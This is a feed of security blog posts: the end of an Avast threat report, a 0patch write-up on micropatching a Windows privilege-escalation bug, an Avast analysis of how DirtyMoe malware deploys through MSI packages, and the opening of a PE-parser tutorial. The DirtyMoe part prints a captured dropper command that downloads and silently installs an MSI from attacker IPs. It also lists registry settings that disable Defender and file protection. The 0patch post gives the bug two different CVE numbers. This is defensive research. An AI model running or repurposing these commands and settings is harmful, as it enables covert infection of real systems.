Acting as a full blown spyware suite, Pegasus is capable of tracking location, calls, messages and many other personal data. Pegasus as a strain is not exactly new, its roots go deep into history as far back as at least 2016. The threat as well as its distribution methods have changed significantly since the early days however. For a successful stealthy distribution of this threat the malicious actors needed to keep finding vulnerabilities in the ever updating OS or default apps that could be used as a way to infect the device – ranging from remote jailbreaks to the latest versions utilizing zero-click exploits.

Best protection against this type of threat is to keep your mobile device’s operating system updated to the latest version and have all the latest security updates installed.

Ondřej David, Malware Analysis Team Lead

Acknowledgements / Credits

Malware researchers
  • Adolf Středa
  • Alexej Savčin
  • Anh Ho
  • Daniel Beneš
  • David Jursa
  • Igor Morgenstern
  • Jakub Kaloč
  • Jakub Křoustek
  • Jan Rubín
  • Jan Vojtěšek
  • Luigino Camastra
  • Martin Chlumecký
  • Martin Hron
  • Michal Salát
  • Ondřej David
  • Pavlína Kopecká
  • Samuel Sidor
  • Vladimir Martyanov
Data analysts
  • Lukáš Zobal
  • Pavol Plaskoň
  • Petr Zemek
Communications
  • Christopher Budd
  • Marina Ziegler

The post Avast Q3’21 Threat Report appeared first on Avast Threat Labs.

✇ 0patch Blog

Micropatching Incompletely Patched Local Privilege Escalation in User Profile Service (CVE-2021-34484)

By: Mitja Kolsek

 


 

by Mitja Kolsek, the 0patch Team

August 2021 Windows Updates brought a fix for CVE-2021-34484, found and reported by security researcher Abdelhamid Naceri. This vulnerability was considered by Microsoft to be an "arbitrary directory deletion" bug, allowing a locally logged-on attacker to delete a folder on the computer. This, combined with the fact that the attacker must also have credentials of another user who can locally log on to the same computer, made the bug seem fairly uninteresting.

However, Abdelhamid subsequently reviewed Microsotf's fix and found it to be incomplete, bypassable with a small change to the attack script. Furthermore, he confirmed the vulnerability was more impactful than described in Microsoft's advisory, namely enabling local privilege escalation from a regular user to System. Consequently, a write-up and proof of concept were published, which allowed us to analyze the vulnerability and create a micropatch for it. 

 

The Vulnerability

The vulnerability lies in the User Profile Service, specifically in the code responsible for creating a temporary user profile folder in case the user's original profile folder is damaged or locked for some reason. Abdelhamid found that the process (executed as Local System) of copying folders and files from user's original profile folder to the temporary one can be attacked with symbolic links to create attacker-writable folders in a system location from which a subsequently launched system process would load and execute attacker's DLL.

The crux of the attack is in quickly creating a symbolic link in the temporary user profile folder (C:\Users\TEMP) so that when the User Profile Service copies a folder from user's original profile folder, it will end up creating a folder somewhere else - where the attacker would normally not have permissions to create one.

Microsoft, even though believing the vulnerability only allowed for deletion of an arbitrarily "symlinked" folder, made a conceptually correct fix: it checked whether the destination folder under C:\Users\TEMP was a symbolic link, and aborted the operation if so. The incompleteness of this fix, as noticed by Abdelhamid, was in the fact that the symbolic link need not be in the upper-most folder (which Microsoft's fix checked), but in any folder along the destination path.

Admittedly, this bug was not easy to reproduce, as it requires winning a race condition and that depends on lots of factors. Nevertheless, an actual attacker would have an unlimited number of attempts and would not be dismayed by that. A more significant obstacle for them would be obtaining additional user's credentials, which seem to be needed in order to exploit this vulnerability. As stated by Abdelhamid, "it might be possible to do it without knowing someone else password." but until someone finds a way to do so, we shall assume this to be a requirement.

While this vulnerability already has its CVE ID (CVE-2021-33742), we're considering it to be without an official vendor fix and therefore a "0day".


Our Micropatch

Our micropatch extends the incomplete security check from Microsoft's fix to the entire destination path by calling GetFinalPathNameByHandle and thus resolving any symbolic links it may contain. Then, by comparing the original path and the "resolved" path, it determines whether any symbolic links are present; if not, original code execution is resumed, otherwise the creation of a temporary user profile is aborted.

 

Our micropatch (green code blocks) injected in the original code of profext.dll.


Source code of our micropatch:



MODULE_PATH "..\Affected_Modules\profext.dll_10.0.19041.1165_Win10-2004_64-bit_u202110\profext.dll"
PATCH_ID 708
PATCH_FORMAT_VER 2
VULN_ID 7184
PLATFORM win64

patchlet_start
  PATCHLET_ID 1
  PATCHLET_TYPE 2
  PATCHLET_OFFSET 0x15065
  N_ORIGINALBYTES 5
  JUMPOVERBYTES 0
  PIT Kernel32.dll!GetFinalPathNameByHandleW,Kernel32.dll!LocalAlloc,msvcrt.dll!_wcsicmp,profext.dll!0x150c8,Kernel32.dll!LocalFree
  code_start
                         ; original path is on rbx
    mov rcx, 0           ; LMEM_FIXED
    mov rdx, 208h        ; number of bytes to allocate
    sub rsp, 20h         ; home space
    call PIT_LocalAlloc  ; allocates the specified number of bytes on the heap
    add rsp, 20h         ; restore stack pointer
    
    mov rcx, [rsp+40h]   ; hFile, handle to file
    push rax             ; save pointer to heap buffer for _wcsicmp
    push rax             ; save pointer to heap buffer for LocalFree
    mov rdx, rax         ; pointer to allocated memory
    mov r9d, 0           ; type of returned result, FILE_NAME_NORMALIZED
    mov r8d, 208h        ; max length of Windows path, the size of lpszFilePath
    sub rsp, 20h         ; home space
    call PIT_GetFinalPathNameByHandleW ; retrieve final path for the specified file
    add rsp, 20h         ; restore stack pointer
    
    pop rcx              ; pointer to allocated buffer
    lea rcx, [rcx+8]     ; GetFinalPathNameByHandleW returns path with \\?\, we get rid of that
    mov rdx, rbx         ; current path
    sub rsp, 20h         ; home space
    call PIT__wcsicmp    ; compare two null terminated paths
    add rsp, 20h         ; restore stack pointer
    cmp rax, 0           ; are strings equal?
    je END               ; if equal, then no links exist, proceed with normal execution
    
    pop rcx              ; pointer to allocated buffer
    call PIT_LocalFree   ; free allocated buffer
    call PIT_ExploitBlocked ; report exploit attempt
    jmp PIT_0x150c8      ; error out
    
  END:
    pop rcx              ; pointer to allocated buffer
    call PIT_LocalFree   ; free allocated buffer
                         ; and continue with normal execution
  code_end
patchlet_end
   

 

And the video of our micropatch in action. Without the micropatch, exploit works; with the micropatch, corrected code in User Profile Service determines that a destination path contains a symbolic link and aborts the creation of a temporary profile folder.



[Update 11/16/2021: The list below updated with additional supported platforms]

This micropatch was written for: 

  1. Windows 10 v21H1 (32 & 64 bit) updated with October or November 2021 Updates
  2. Windows 10 v20H2 (32 & 64 bit) updated with October or November 2021 Updates
  3. Windows 10 v2004 (32 & 64 bit) updated with October or November 2021 Updates
  4. Windows 10 v1909 (32 & 64 bit) updated with October or November 2021 Updates
  5. Windows 10 v1903 (32 & 64 bit) updated with October or November 2021 Updates
  6. Windows 10 v1809 (32 & 64 bit) updated with May 2021 Updates
  7. Windows Server 2019 64 bit updated with October or November 2021 Updates
  8. Windows Server 2016 64 bit updated with November 2021 Updates
While some older Windows versions also seem to be theoretically affected, the vulnerable code is different there, making the window for winning the race condition extremely narrow and probably unexploitable.
 
 
Micropatches for this vulnerability will be free until Microsoft has issued an official fix. If you want to use them, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboots will be needed.
 

We'd like to thank Abdelhamid Naceri for finding this issue and sharing details, which allowed us to create a micropatch and protect our users. Thanks also to Will Dormann for useful tips on reproducing this issue.

To learn more about 0patch, please visit our Help Center.


 


 

✇ Avast Threat Labs

DirtyMoe: Deployment

By: Martin Chlumecký

Abstract

In the first article, we have described a complex malware, called DirtyMoe, from a high-level point of view. Most of the captured samples were MSI Installer packages which were delivered onto a victim’s machine by the PurpleFox exploit kit. So in the fourth part of the DirtyMoe series, we will focus on DirtyMoe’s deployment and how DirtyMoe tackles various issues with different versions of Windows.

To understand what the MSI package executes on the victim’s machine, we have analyzed the MSI package in terms of registry and file manipulations, installer’s arguments, and post-reboot operations. We have also tried to put these actions into the context to determine the purpose of its individual actions in DirtyMoe’s deployment.

The DirtyMoe’s MSI installer abuses the Windows System Event Notification Service (SENS) to deploy DirtyMoe. The main goal of the MSI installer is to replace the system DLL file of SENS with a malicious payload and execute the payload as a legitimate service. Another essential point is configuring the anti-detection methods to keep DirtyMoe under the radar.

The DirtyMoe malware requires different locations of installed files and registry entries for each Windows version that the malware targets. Since the MSI Installer provides a convenient way to install arbitrary software across versions of Windows, its usage seems like a logical choice.

1. Scope

We have recorded two versions of MSI installer packages distributing DirtyMoe. Both versions perform very similar actions for the successful DirtyMoe deployment. The main difference is the delivery of malicious files via a CAB file. The older version of the MSI package includes the CAB file directly in the package, while the newer version requires the CAB file in the same location as the package itself.

The effect of the separate CAB file easily allows managing payloads that need to be deployed. Further, it reduces the size of the primary exploit payload because the CAB file can be downloaded after successful exploitations.

1.1 All in One Package (older version)

The example of the all in one package is a sample with SHA-256:
5ef702036c5c3aa2d0b6d8650e20b2c5f55776c69eebf8c700f1770b56a35c35

The package details follow:

  • Product Name: FONDQXIMSYHLISNDBCFPGGQDFFXNKBARIRJH
  • Product Version: 2.0.0.0
  • Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
  • Install Condition:
    • is Windows NT (cannot be installed on Windows 9x/ME)
    • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
    • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
    • is not Windows NT 4.0
    • is not Windows 2000
    • not exist SOFTWARE\SoundResearch\UpdaterLastTimeChecked3 with value 3
  • File Size: 2.36 MB
1.2 Excluded Data Package (newer version)

The newer version of the MSI package consists of two parts. The first part is the MSI package itself and the separate CAB file containing the malicious payloads. The MSI package refers to one of the following CAB files: M0011.cab, M0021.cab, M0031.cab, , M0041.cab, M0051.cab, M0061.cab , M0071.cab . The CAB file contains three malicious files, but only one file (sysupdate.log) is different for each CAB file. Detailed information about the file manipulation is described in Section 3.

The example of the newer MSI package is a sample with SHA-256:
1233cc0b8f77213a229e64c6aa0e08bd18e075879734a18512b1990b6408764f

The package details follow:

  • Product Name: CTH3VNU8KZHDXY6YYCF9YV8OXGPW3P2APZPL
  • Product Version: 2.0.0.0
  • Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
  • Install Condition:
    • is Windows NT (cannot be installed on Windows 9x/ME)
    • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
    • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
    • is not Windows NT 4.0
    • is not Windows 2000
    • not exist HKLM\SOFTWARE\Microsoft\DirectPlay8\Direct3D
    • not exist HKCU\SOFTWARE\7-Zip\StayOnTop
  • File Size: 1.020 MB

Note: The product name is usually different for each .msi file. It is a random string composed of capital letters of length 36. The product code has so far been observed with the same value.

2. Registry Manipulation

The malware authors prepare a victim environment to a proper state via the MSI installer. They focus on disabling anti-spyware and file protection features. Additionally, the MSI package uses one system configuration to bypass Windows File Protection (WFP) to overwrite protected files despite the fact that WFP should prevent replacing critical Windows system files [1].

There are several registry manipulations during MSI installation, though we will describe only the most crucial registry entries.

2.1 Mutex

UpdaterLastTimeChecked
HKEY_LOCAL_MACHINE\SOFTWARE\SoundResearch\UpdaterLastTimeChecked[1-3]
One of the malware registry entries is UpdaterLastTimeChecked[x], where x signifies how many times the MSI installer has been run. Each MSI installation of the package creates one entry. If UpdaterLastTimeChecked3 is present, the following package installation is not allowed. It is applicable only for the older version of the MSI package.

StayOnTop
HKEY_CURRENT_USER\SOFTWARE\7-Zip\StayOnTop = 1
This registry manipulation is related only to the newer version. 7-Zip software does not support the stay on top feature. Therefore, it can be assumed that this registry entry serves as a flag that the installer package has been successfully run. SentinelLabs has published evidence that the presentence of this value indicates that a victim computer has been compromised by PurpleFox [2].

Direct3D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectPlay8\Direct3D
An active instance of the DirtyMoe malware stores settings and meta-data in this registry entry in an encrypted form. Therefore, if this entry is present in the system registry, the MSI installation is aborted.

2.2 Anti-Detection

DisableAntiSpyware
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = 1
Microsoft Defender Antivirus can be disabled by the DisableAntiSpyware registry key set to 1. So, if the system has no 3rd party antivirus product, the system is without protection against malicious software, including spyware [3].

SFCDisable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable = 4
Windows File Protection (WFP) prevents non-system applications from replacing critical Windows system files that can cause problems with the operating system integrity and stability. WFP is typically enabled by default in all versions of Windows [4].

Naturally, DirtyMoe wants to avoid a situation where WFP detects any manipulation with the system files. Therefore, the SFCDisable value is set to four, enabling WFP, but every WFP action is not pop-upped by GUI. The effect is that WFP is enabled, so no system alerts are invoked, but WFP warning is hidden for users. This is applicable only for Windows XP.

SFCScan
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan = 0
The System File Checker (SFC) provides the ability to scan system-protected files. SFC verifies file versions, and if it detects any file manipulation, SFC updates files to the correct version. This registry manipulation contributes to disabling SFC protecting the abused Windows service. This setup affects only file scanning, but WFP can still be active.

SvcHostSplitThresholdInKB
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SvcHostSplitThresholdInKB = 0xFFFFFFFF
The crucial registry manipulation controls the system startup and some aspects of device configuration. To understand the primary purpose of the SvcHostSplitThresholdInKB registry entry, we must describe the historical development of Windows services and a generic host process.

In most cases, Windows services are run from dynamic-link libraries that Windows executes via the generic host process (svchost.exe). The hosted process can load more services (DLLs) as threads within one process. This is a historical relict from the times of Windows XP where system memory used to be a scarce commodity. The system used a few service host processes that hosted all Windows services, represented by DLL files, as the process creation and maintenance were expensive in terms of the system memory.

Figure 1 illustrates the example of run services and detailed information about the biggest host service process. Windows XP created 5 host processes grouped according to their purposes, such as LocalService, NetworkService, and System. PID 1016 is the biggest process in point of the memory usage view since this process hosts approx. 20 services. This approach saved the memory but made the system more unstable because if one of the services crashed, the entire service chain hosted by the same process was killed.

Figure 1. Service chain in Windows XP

Nowadays, there is no reason to group services within a few processes, and the resulting positive effects are increased system stability and security, as well as easier error analysis. Services now usually no longer share processes; mini-programs for providing system functions have an exclusive memory location. And if the svchost.exe process crashes, it no longer drags the entire service chain with it [5].

Windows 10 has come with a threshold value (SvcHostSplitThresholdInKB), determining when services shall be created as a regular process. The default value is 380,000, so the grouping service model is used if the system has less than 3.5 GB of memory. In other words, the increasing threshold value can reduce the amount of the host processes, and therefore it determines if the service processes are split.

Let’s give an example for Windows 10, if the value is set to 1, the number of host processes is approx. 70. And the threshold value equal to maximum (0xFFFFFFFF) causes that number of host processes to be only 26.

It is now understood that the maximum value of SvcHostSplitThresholdInKB can hide details about run processes. Therefore, the malware author set the threshold value to the maximum to hide the malicious service activity in threads. As a consequence, the malicious service is run within one host process in one of its threads. Accordingly, tracking and forensic analysis are made more difficult since the svchost process hosts many other services, and it is hard to assign system activities to the malware service.

2.3 Payload Delivery

SMBDeviceEnabled
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled = 0
In order to prevent deployment of other malware via EternalBlue exploit [6], the MSI installer disables SMB sharing, effectively closing port 445 on Windows XP.

AllowProtectedRenames and PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AllowProtectedRenames
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations

These registry entries are also related to WFP and therefore are crucial for the malicious code’s deployment to the victim machine. The principle is the same as in the MoveFileEx function with MOVEFILE_DELAY_UNTIL_REBOOT flag [7]. In other words, the MSI installer defines which file will be moved or deleted after reboot via the Session Manager Subsystem (SMSS) [8].

The malware authors abuse two system files, sens.dll for Windows Vista and newer, and cscdll.dll for Windows XP, see Section 3. Consequently, the SMSS replaces the critical system file with the malicious ones after the system reboot.

An example of the PendingFileRenameOperations value for Windows 7 32bit is as follows:

\??\C:\Windows\AppPatch\Acpsens.dll

\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll

\??\C:\Windows\winupdate32.log
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Ke583427.xsl

\??\C:\Windows\sysupdate.log
\??\C:\Windows\AppPatch\Ke583427.xsl

3. File Manipulation

DirtyMoe misuses the system services, precisely service DLL files, that are protected and which handlers are open, so replacing these files is not possible without the system reboot. Therefore, the first phase of the file manipulation is to extract payloads from the CAB file, and the second phase replaces the service DLL files with the extracted CAB files.

3.1 File Extraction

The CAB file usually contains three payload files.

  • winupdate32.log and winupdate64.log are malicious DLLs representing the DirtyMoe service.
  • sysupdate.log is an encrypted executable file that contains the default DirtyMoe module injected by the DirtyMoe service.

The MSI installer extracts and copies payloads from the CAB file into defined destinations if an appropriate condition is met, as the following table summarizes.

File Destination Condition
sysupdate.log %windir% None
winupdate32.log %windir% NOT VersionNT64
winupdate64.log %windir% VersionNT64

If the required files are extracted into the proper destination, the MSI installer ends and waits silently for the system to reboot. The next actions are performed by the SMSS.

3.2 File Replacement

The Session Manager Subsystem (SMSS) ensures replacing abused system files that are system-protected with the malicious ones based on PendingFileRenameOperations registry entry; see Section 2.3. In fact, the MSI installer invokes a post-reboot file manipulation based on a Windows version as follows:

Windows XP

  • Delete (if exist) %windir%\\AppPatch\\Acpcscdll.dll
  • Move %windir%\\system32\\cscdll.dll to %windir%\\AppPatch\\Acpcscdll.dll
  • Move %windir%\\winupdate32.log to %windir%\\system32\\cscdll.dll
  • Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
  • Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

Windows Vista and newer

  • Delete (if exist) %windir%\\AppPatch\\Acpsens.dll
  • Move %windir%\\system32\\sens.dll to %windir%\\AppPatch\\Acpsens.dll
  • Move %windir%\\winupdate64.log to %windir%\\system32\\sens.dll
  • Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
  • Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

The difference between Windows XP and Windows Vista and newer is an exploit of a hosting service. Windows XP uses Offline Network Agent (cscdll.dll) loaded by winlogon.exe under NT AUTHORITY\SYSTEM privileges. Windows Vista and newer provide System Event Notification Service (sens.dll) also run under SYSTEM. The Ke583427.xsl file is a default DirtyMoe module that is encrypted.

In short, the post-reboot operation slips DirtyMoe DLL into the system folder under the service name that is registered legitimately in the system. Replacement of such system files is possible because it is completed by SMSS, which is the first user-mode process started by the kernel. For that reason no handlers are created to the system DLL, and WFP is not also run yet. Finally, the malware represented by the slipped malicious DLL is started with system-level privileges since the abused service is registered as the legitimate service in Windows.

4. Deployment Workflow

If the PurpleFox successfully exploits a victim’s machine, the MSI installer package is run with administrator privileges. The MSI installer provides several options on how to install software silently, and therefore no user interaction is required. Although the system restart is necessary to apply all changes, the MSI installer also supports delayed restart; therefore, the user does not detect any suspicious symptoms. The installer only waits for the next system restart.

An example of how to run installation silently via MSI installer:
msiexec.exe /i <dirtymoe.msi> /qn /norestart; where /qn sets UI level to no UI.

We have captured a specific example of how the MSI installer is run after the successful system exploit.
Cmd /c for /d %i in (60.164.191.22:19400 185.51.201.102:19836 203.128.6.130:12315 58.220.24.47:13384 155.138.159.232:17445) do Msiexec /i http:\%i\0BC8EC41.moe \Q

This dropper iterates five IP addresses that are different for each minute, including ports; see Section 2 of the first part of DirtyMoe series. The MSI installer is run for each IP address with parameter \Q, so if the requested remote location is not available or the MSI file does not exist, the installer does not inform the user about the error. The deployment process then runs silently in the background.

The MSI installer sets the system registry defined in Section 2 and copies malicious files to the Windows folder, see Section 3. The subsequent system restart will arrange the code execution of the malicious DLL containing ServiceMain, which Windows starts as the SENS service. Given the complexity of the malicious service, we will return to its detailed description in the following blog post.

Usually, the MSI installer caches installation files in C:\Windows\Installer for future use, such as updating, reinstalling, etc. However, DirtyMoe does not keep the .msi backup file. The installer just creates a hash file about the malware installation. The filename has the form SourceHash{<Product Code>}. The file contains the name of the MSI source package. The most prevalent GUID is equal to: {80395032-1630-4C4B-A997-0A7CCB72C75B}

The MSI Installer Rollback Script cannot remove the malware since deployed files are moved by the SMSS and are out of the MSI Installer scope.

The whole deployment workflow is illustrated in Figure 2.

Figure 2. DirtyMoe deployment workflow

5. Conclusion

We have introduced the deployment process of the DirtyMoe malware via the MSI Installer that presents an easy way of supporting multiple configurations for various Windows versions. The MSI installer prepares all necessary files and configuration for successful deployment of the malware and also cleans up backup and cache files. However, there are a few symptoms that can reveal the DirtyMoe installations.

After the system reboot, Session Manager overwrites the files representing one of the system services by the malicious DLL file. The system then runs an appropriate service and thereby loads the malicious code, including the default DirtyMoe’s object, as the legitimate service.

All these steps deploy and run DirtyMoe on the victim’s machine. In point of the cyber kill chain, detailed information about DirtyMoe service and further installation actions will be introduced in the future article.

References

[1] Description of the Windows File Protection feature
[2] Purple Fox EK
[3] Security Malware Windows Defender
[4] Enable or Disable Windows File Protection
[5] Split Threshold for svchost.exe in Windows 10
[6] EternalBlue
[7] MoveFileExA function (winbase.h)
[8] Pending FileRename Operations

The post DirtyMoe: Deployment appeared first on Avast Threat Labs.

✇ 0xRick

A dive into the PE file format - LAB 1: Writing a PE Parser

By: 0xRick

A dive into the PE file format - LAB 1: Writing a PE Parser

Introduction

In the previous posts we’ve discussed the basic structure of PE files, In this post we’re going to apply this knowledge into building a PE file parser in c++ as a proof of concept.

The parser we’re going to build will not be a full parser and is not intended to be used as a reliable tool, this is only an exercise to better understand the PE file structure.
We’re going to focus on PE32 and PE32+ files, and we’ll only parse the following parts of the file:

  • DOS Header
  • Rich Header
  • NT Headers
  • Data Directories (within the Optional Header)
  • Section Headers
  • Import Table
  • Base Relocations Table

The code of this project can be found on my github profile.


Initial Setup

Process Outline

We want out parser to follow the following process:

  1. Read a file.
  2. Validate that it’s a PE file.
  3. Determine whether it’s a PE32 or a PE32+.
  4. Parse out the following structures:
    • DOS Header
    • Rich Header
    • NT Headers
    • Section Headers
    • Import Data Directory
    • Base Relocation Data Directory
  5. Print out the following information:
    • File name and type.
    • DOS Header:
      • Magic value.
      • Address of new exe header.
    • Each entry of the Rich Header, decrypted and decoded.
    • NT Headers - PE file signature.
    • NT Headers - File Header:
      • Machine value.
      • Number of sections.
      • Size of Optional Header.
    • NT Headers - Optional Header:
      • Magic value.
      • Size of code section.
      • Size of initialized data.
      • Size of uninitialized data.
      • Address of entry point.
      • RVA of start of code section.
      • Desired Image Base.
      • Section alignment.
      • File alignment.
      • Size of image.
      • Size of headers.
    • For each Data Directory: its name, RVA and size.
    • For each Section Header:
      • Section name.
      • Section virtual address and size.
      • Section raw data pointer and size.
      • Section characteristics value.
    • Import Table:
      • For each DLL:
        • DLL name.
        • ILT and IAT RVAs.
        • Whether its a bound import or not.
        • for every imported function:
          • Ordinal if ordinal/name flag is 1.
          • Name, hint and Hint/Name table RVA if ordinal/name flag is 0.
    • Base Relocation Table:
      • For each block:
        • Page RVA.
        • Block size.
        • Number of entries.
        • For each entry:
          • Raw value.
          • Relocation offset.
          • Relocation Type.

winnt.h Definitions

We will need the following definitions from the winnt.h header:

  • Types:
    • BYTE
    • WORD
    • DWORD
    • QWORD
    • LONG
    • LONGLONG
    • ULONGLONG
  • Constants:
    • IMAGE_NT_OPTIONAL_HDR32_MAGIC
    • IMAGE_NT_OPTIONAL_HDR64_MAGIC
    • IMAGE_NUMBEROF_DIRECTORY_ENTRIES
    • IMAGE_DOS_SIGNATURE
    • IMAGE_DIRECTORY_ENTRY_EXPORT
    • IMAGE_DIRECTORY_ENTRY_IMPORT
    • IMAGE_DIRECTORY_ENTRY_RESOURCE
    • IMAGE_DIRECTORY_ENTRY_EXCEPTION
    • IMAGE_DIRECTORY_ENTRY_SECURITY
    • IMAGE_DIRECTORY_ENTRY_BASERELOC
    • IMAGE_DIRECTORY_ENTRY_DEBUG
    • IMAGE_DIRECTORY_ENTRY_ARCHITECTURE
    • IMAGE_DIRECTORY_ENTRY_GLOBALPTR
    • IMAGE_DIRECTORY_ENTRY_TLS
    • IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
    • IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
    • IMAGE_DIRECTORY_ENTRY_IAT
    • IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
    • IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
    • IMAGE_SIZEOF_SHORT_NAME
    • IMAGE_SIZEOF_SECTION_HEADER
  • Structures:
    • IMAGE_DOS_HEADER
    • IMAGE_DATA_DIRECTORY
    • IMAGE_OPTIONAL_HEADER32
    • IMAGE_OPTIONAL_HEADER64
    • IMAGE_FILE_HEADER
    • IMAGE_NT_HEADERS32
    • IMAGE_NT_HEADERS64
    • IMAGE_IMPORT_DESCRIPTOR
    • IMAGE_IMPORT_BY_NAME
    • IMAGE_BASE_RELOCATION
    • IMAGE_SECTION_HEADER

I took these definitions from winnt.h and added them to a new header called winntdef.h.

winntdef.h:

typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long DWORD;
typedef unsigned long long QWORD;
typedef unsigned long LONG;
typedef __int64 LONGLONG;
typedef unsigned __int64 ULONGLONG;

#define ___IMAGE_NT_OPTIONAL_HDR32_MAGIC       0x10b
#define ___IMAGE_NT_OPTIONAL_HDR64_MAGIC       0x20b
#define ___IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16
#define ___IMAGE_DOS_SIGNATURE                 0x5A4D

#define ___IMAGE_DIRECTORY_ENTRY_EXPORT          0
#define ___IMAGE_DIRECTORY_ENTRY_IMPORT          1
#define ___IMAGE_DIRECTORY_ENTRY_RESOURCE        2
#define ___IMAGE_DIRECTORY_ENTRY_EXCEPTION       3
#define ___IMAGE_DIRECTORY_ENTRY_SECURITY        4
#define ___IMAGE_DIRECTORY_ENTRY_BASERELOC       5
#define ___IMAGE_DIRECTORY_ENTRY_DEBUG           6
#define ___IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7
#define ___IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8
#define ___IMAGE_DIRECTORY_ENTRY_TLS             9
#define ___IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10
#define ___IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11
#define ___IMAGE_DIRECTORY_ENTRY_IAT            12
#define ___IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13
#define ___IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14

#define ___IMAGE_SIZEOF_SHORT_NAME              8
#define ___IMAGE_SIZEOF_SECTION_HEADER          40

typedef struct __IMAGE_DOS_HEADER {
    WORD   e_magic;
    WORD   e_cblp;
    WORD   e_cp;
    WORD   e_crlc;
    WORD   e_cparhdr;
    WORD   e_minalloc;
    WORD   e_maxalloc;
    WORD   e_ss;
    WORD   e_sp;
    WORD   e_csum;
    WORD   e_ip;
    WORD   e_cs;
    WORD   e_lfarlc;
    WORD   e_ovno;
    WORD   e_res[4];
    WORD   e_oemid;
    WORD   e_oeminfo;
    WORD   e_res2[10];
    LONG   e_lfanew;
} ___IMAGE_DOS_HEADER, * ___PIMAGE_DOS_HEADER;

typedef struct __IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} ___IMAGE_DATA_DIRECTORY, * ___PIMAGE_DATA_DIRECTORY;


typedef struct __IMAGE_OPTIONAL_HEADER {
    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;
    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    ___IMAGE_DATA_DIRECTORY DataDirectory[___IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} ___IMAGE_OPTIONAL_HEADER32, * ___PIMAGE_OPTIONAL_HEADER32;

typedef struct __IMAGE_OPTIONAL_HEADER64 {
    WORD        Magic;
    BYTE        MajorLinkerVersion;
    BYTE        MinorLinkerVersion;
    DWORD       SizeOfCode;
    DWORD       SizeOfInitializedData;
    DWORD       SizeOfUninitializedData;
    DWORD       AddressOfEntryPoint;
    DWORD       BaseOfCode;
    ULONGLONG   ImageBase;
    DWORD       SectionAlignment;
    DWORD       FileAlignment;
    WORD        MajorOperatingSystemVersion;
    WORD        MinorOperatingSystemVersion;
    WORD        MajorImageVersion;
    WORD        MinorImageVersion;
    WORD        MajorSubsystemVersion;
    WORD        MinorSubsystemVersion;
    DWORD       Win32VersionValue;
    DWORD       SizeOfImage;
    DWORD       SizeOfHeaders;
    DWORD       CheckSum;
    WORD        Subsystem;
    WORD        DllCharacteristics;
    ULONGLONG   SizeOfStackReserve;
    ULONGLONG   SizeOfStackCommit;
    ULONGLONG   SizeOfHeapReserve;
    ULONGLONG   SizeOfHeapCommit;
    DWORD       LoaderFlags;
    DWORD       NumberOfRvaAndSizes;
    ___IMAGE_DATA_DIRECTORY DataDirectory[___IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} ___IMAGE_OPTIONAL_HEADER64, * ___PIMAGE_OPTIONAL_HEADER64;

typedef struct __IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} ___IMAGE_FILE_HEADER, * ___PIMAGE_FILE_HEADER;

typedef struct __IMAGE_NT_HEADERS64 {
    DWORD Signature;
    ___IMAGE_FILE_HEADER FileHeader;
